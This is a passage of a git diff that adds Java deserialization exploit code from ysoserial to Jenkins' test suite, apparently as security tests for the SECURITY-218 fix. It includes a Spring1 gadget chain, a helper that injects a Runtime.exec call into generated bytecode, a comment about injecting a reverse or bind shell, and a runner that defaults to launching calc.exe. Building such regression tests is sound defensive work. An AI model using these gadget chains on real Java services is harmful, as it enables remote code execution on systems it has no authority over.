WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +public interface ObjectPayload { + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java new file mode 100644 index 0000000000000000000000000000000000000000..103f01f2cb2ca3fc60f3373b4906e5a4fecae0c7 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java @@ -0,0 +1,99 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import static java.lang.Class.forName; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.beans.factory.ObjectFactory; + + +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; +import jenkins.security.security218.ysoserial.util.Reflections; +import org.apache.xalan.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + + ObjectInputStream.readObject() + SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.findMethod() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.invokeMethod() + Method.invoke() + Templates(Proxy).newTransformer() + AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + ObjectFactory(Proxy).getObject() + AnnotationInvocationHandler.invoke() + HashMap.get() + Method.invoke() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + TemplatesImpl.TransletClassLoader.defineClass() + Pwner*(Javassist-generated). + Runtime.exec() + + */ + +@SuppressWarnings({"restriction", "rawtypes"}) +public class Spring1 extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Spring1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java b/test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java new file mode 100644 index 0000000000000000000000000000000000000000..fe2ed52cbd35284a44586312627a572e53fcdec5 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java @@ -0,0 +1,67 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java b/test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java new file mode 100644 index 0000000000000000000000000000000000000000..676cdf8ed60197e832fc3b0dd6edb237ebd4bf03 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java @@ -0,0 +1,115 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import org.apache.xalan.xsltc.DOM; +import org.apache.xalan.xsltc.TransletException; +import org.apache.xalan.xsltc.runtime.AbstractTranslet; +import org.apache.xalan.xsltc.trax.TemplatesImpl; +import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; +import org.apache.xml.dtm.DTMAxisIterator; +import org.apache.xml.serializer.SerializationHandler; + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings("restriction") +public class Gadgets { + private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + private static final long serialVersionUID = -5971610431559700674L; + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + private static final long serialVersionUID = 8207363842866235160L; + } + + public static T createMemoitizedProxy(final Map map, final Class iface, + final Class ... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); + } + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key,val); + return map; + } + + public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, + ClassFiles.classAsBytes(Foo.class)}); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + return templates; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java b/test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java new file mode 100644 index 0000000000000000000000000000000000000000..0097e7ed9617f0cf2ab1fbf5407480bc0a6e8636 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java @@ -0,0 +1,62 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + + +import java.util.concurrent.Callable; +import jenkins.security.security218.ysoserial.ExecBlockingSecurityManager; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import static jenkins.security.security218.ysoserial.util.Serializables.deserialize; +import static jenkins.security.security218.ysoserial.util.Serializables.serialize; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final Object objBefore = clazz.newInstance().getObject(command); + + System.out.println("serializing payload"); + + return serialize(objBefore); + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = deserialize(serialized); + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java b/test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java new file mode 100644 index 0000000000000000000000000000000000000000..f542a0e606acda5f3493bf1700f2b37d118f442a --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java @@ -0,0 +1,56 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field == null && clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + field.setAccessible(true); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java b/test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java new file mode 100644 index 0000000000000000000000000000000000000000..b5e73c977731a92067cc753e903b68eea61aecb3 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java @@ -0,0 +1,57 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; + +public class Serializables { + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file